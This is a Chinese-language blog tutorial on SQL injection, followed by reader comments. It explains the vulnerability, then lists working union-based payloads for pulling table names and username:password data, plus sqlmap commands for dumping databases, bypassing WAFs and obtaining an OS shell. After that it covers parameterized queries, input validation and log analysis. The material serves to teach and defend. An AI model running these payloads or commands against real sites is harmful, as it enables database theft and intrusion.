Web 安全攻防实战:SQL 注入从入门到精通

爪 爪
爪 爪
爪 爪
编辑
44
文章
0
粉丝
Web安全28750字数 872阅读2分54秒阅读模式
AI智能摘要
手握看似安全的代码,你以为只要加了防火墙就万事大吉?2025 年某电商平台因一个搜索框的疏忽,导致 50 万用户信息瞬间裸奔。90% 的开发还在用“拼接字符串”这种致命写法,却不知攻击者只需在 URL 里加几个字符就能直接拖库。从手工盲注到 SQLMap 自动化绕过 WAF,真正的攻防博弈往往发生在那些被忽略的细节里。当你的数据库即将失守时,你知道那个能瞬间逆转局势的防御核心到底是什么吗?
— AI 生成的文章内容摘要

 

摘要:SQL 注入常年占据 OWASP Top 10 榜首,是 Web 安全中最常见、危害最大的漏洞之一。本文通过真实案例,系统讲解 SQL 注入的原理、检测、利用和防御全流程。

一、什么是 SQL 注入?

2025 年某大型电商平台遭遇 SQL 注入攻击,攻击者通过商品搜索框注入恶意 SQL 语句,获取了 50 万用户的个人信息。这并非个例,根据 Veracode 报告,46% 的应用存在 SQL 注入风险

SQL 注入的本质:用户输入被当作 SQL 代码执行

1.1 漏洞成因

// 危险代码示例
$userid = $_GET["id"];
$sql = "SELECT * FROM users WHERE id = $userid";
$result = mysqli_query($conn, $sql);

当用户访问 `?id=1 OR 1=1` 时,SQL 变为:
Web 安全攻防实战:SQL 注入从入门到精通

SELECT * FROM users WHERE id = 1 OR 1=1

结果:返回所有用户数据!

1.2 注入类型

类型 特点 检测难度
联合查询注入 使用 UNION 合并结果 容易
盲注 无回显,通过响应时间判断 中等
报错注入 利用数据库错误信息 容易
时间盲注 通过 SLEEP() 延时判断 困难

二、实战:手工检测 SQL 注入

2.1 基础测试

# 测试点:搜索框、URL 参数、表单输入

# 测试 payload ?id=1 ?id=1' ?id=1" ?id=1 AND 1=1 ?id=1 AND 1=2

判断标准

  • 页面正常 → 可能存在注入
  • 报错 → 可能存在注入
  • 页面异常 → 可能无注入

2.2 联合查询注入

# 判断字段数
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--
# 当 ORDER BY 4 时报错 → 字段数为 3

# 确定显示位 ?id=-1 UNION SELECT 1,2,3-- # 页面显示 2 和 3 → 这两个是显示位

# 获取数据库信息 ?id=-1 UNION SELECT 1,database(),version()--

# 获取表名 ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

# 获取列名 ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name="users"--

# 获取数据 ?id=-1 UNION SELECT 1,group_concat(username,":",password),3 FROM users--

三、自动化:SQLMap 使用指南

3.1 基础扫描

# 检测注入点
sqlmap -u "http://target.com/page?id=1"

# 获取数据库 sqlmap -u "http://target.com/page?id=1" --dbs

# 获取表 sqlmap -u "http://target.com/page?id=1" -D database --tables

# 获取列 sqlmap -u "http://target.com/page?id=1" -D database -T users --columns

# 获取数据 sqlmap -u "http://target.com/page?id=1" -D database -T users -C username,password --dump

3.2 高级用法

# POST 注入
sqlmap -u "http://target.com/login" --data="username=admin&password=123"

# Cookie 注入 sqlmap -u "http://target.com/page" --cookie="sessionid=abc123"

# 绕过 WAF sqlmap -u "http://target.com/page?id=1" --tamper=space2comment

# 获取 shell sqlmap -u "http://target.com/page?id=1" --os-shell

四、SQL 注入防御方案

4.1 参数化查询(推荐)

// ✅ 正确做法
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(["id" => $_GET["id"]]);
$user = $stmt->fetch();

4.2 输入验证

// 白名单验证
$allowed_ids = [1, 2, 3, 4, 5];
if (!in_array($_GET["id"], $allowed_ids)) {
    die("非法参数");
}

// 类型转换 $id = intval($_GET["id"]);

4.3 ORM 框架

// Laravel Eloquent
$user = User::find($id);

// ThinkPHP $user = Db::name("users")->find($id);

五、应急响应:发现 SQL 注入后

5.1 紧急处置

1. 立即下线受影响页面
2. 修改数据库密码
3. 检查数据库是否被篡改
4. 分析日志确定攻击范围
5. 修复漏洞并重新上线

5.2 日志分析

# 查找 SQL 注入特征
grep -E "UNION|SELECT|AND 1=1|SLEEP(" access.log

# 统计攻击 IP grep "SELECT" access.log | awk "{print $1}" | sort | uniq -c | sort -rn

六、总结

SQL 注入防御核心:永远不要信任用户输入

防御优先级

1. 参数化查询(必须)

2. 输入验证(必须)

3. 最小权限原则(推荐)

4. WAF 防护(辅助)

---
作者:爪
分类:Web 安全
标签:SQL 注入、Web 安全、渗透测试漏洞挖掘、安全防御
发布时间:2026-04-06

 
爪 爪
  • 本文由 爪 爪 发表于2026年4月8日 13:25:49
评论  28  访客  28
    • 时光旅者
      时光旅者 1

      盲注那块还是不太会判断,有简单的方法吗?

        • 复古香水
          复古香水 0

          @ 时光旅者 盲注看响应时间就行,延时明显基本就能确定。

        • 秘法吟者
          秘法吟者 1

          参数化查询才是正道,之前踩过拼接的坑。

          • 一觉睡到自然醒
            一觉睡到自然醒 1

            数据库密码改了还得清日志,不然后患无穷。

            • 虚无剧场
              虚无剧场 1

              union注入现在多数都被过滤了吧?

              • 雾中人
                雾中人 1

                学开发的时候根本没人讲这些安全问题。

                • 梦之灵
                  梦之灵 1

                  那个圆柱形服务器看着还挺帅,hhh

                  • 西瓜味的风
                    西瓜味的风 1

                    50万用户信息…这波也太离谱了。

                    • 海豚骑士
                      海豚骑士 1

                      预编译语句其实也能用,更安全点。

                        • 蝴蝶舞
                          蝴蝶舞 1

                          @ 海豚骑士 预编译和参数化其实是一回事吧?有点迷。

                        • WebWeaver
                          WebWeaver 1

                          之前测试的时候用过UNION注入,确实好用。

                          • 花匠金
                            花匠金 0

                            看半天还是有点晕,新手太难了。

                            • 船歌
                              船歌 1

                              那POST请求怎么测?

                              • 夜行魔狼
                                夜行魔狼 1

                                还行

                                • 阿巴阿巴
                                  阿巴阿巴 1

                                  WAF辅助也太弱了吧…

                                  • 农夫吴
                                    农夫吴 1

                                    之前被人搞过SQL注入,看完终于知道怎么防了。

                                      • 热闹小漩涡
                                        热闹小漩涡 1

                                        @ 农夫吴 同被搞过,数据全导出,心都凉了。

                                      • 狂想客
                                        狂想客 1

                                        SQL注入真不是闹着玩的,五十万人隐私啊。

                                        • 钛白极光
                                          钛白极光 0

                                          这玩意也太危险了吧,搜个东西都能中招?

                                          • 比特之森
                                            比特之森 1

                                            POST测起来比GET还简单,抓包改数据就行。

                                            • 一屁崩出银河系
                                              一屁崩出银河系 1

                                              之前搞渗透时用sqlmap一把梭,爽到飞起。

                                              • 红酥手
                                                红酥手 1

                                                感觉WAF就是纸糊的,绕一下就没了。

                                              匿名

                                              发表评论

                                              匿名网友

                                              拖动滑块以完成验证